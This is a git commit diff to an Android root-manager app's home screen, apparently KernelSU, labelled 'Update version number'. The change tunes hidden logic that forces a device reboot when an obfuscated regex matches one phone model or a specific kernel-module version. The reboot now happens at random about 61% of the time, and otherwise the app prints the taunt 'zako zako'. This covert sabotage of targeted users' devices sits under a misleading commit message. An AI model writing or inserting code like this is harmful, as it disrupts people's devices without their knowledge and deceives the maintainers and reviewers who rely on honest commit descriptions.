Update version number

This commit is contained in:
ShirkNeko
2025-04-14 20:17:16 +08:00
parent 378b8458f2
commit e0650ade4f
2 changed files with 8 additions and 4 deletions

View File

@@ -99,15 +99,19 @@ fun HomeScreen(navigator: DestinationsNavigator) {
if (kernelVersion.isGKI()) {
if (ksuVersion != null) {
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 3) {
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 20) {
isDisabled = true
}
}
LaunchedEffect(isDisabled, ksuVersion) {
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...")
reboot()
val random = Random.nextInt(0, 100)
if (random <= 60) {
reboot()
} else {
print("zako zako")
}
}
}
}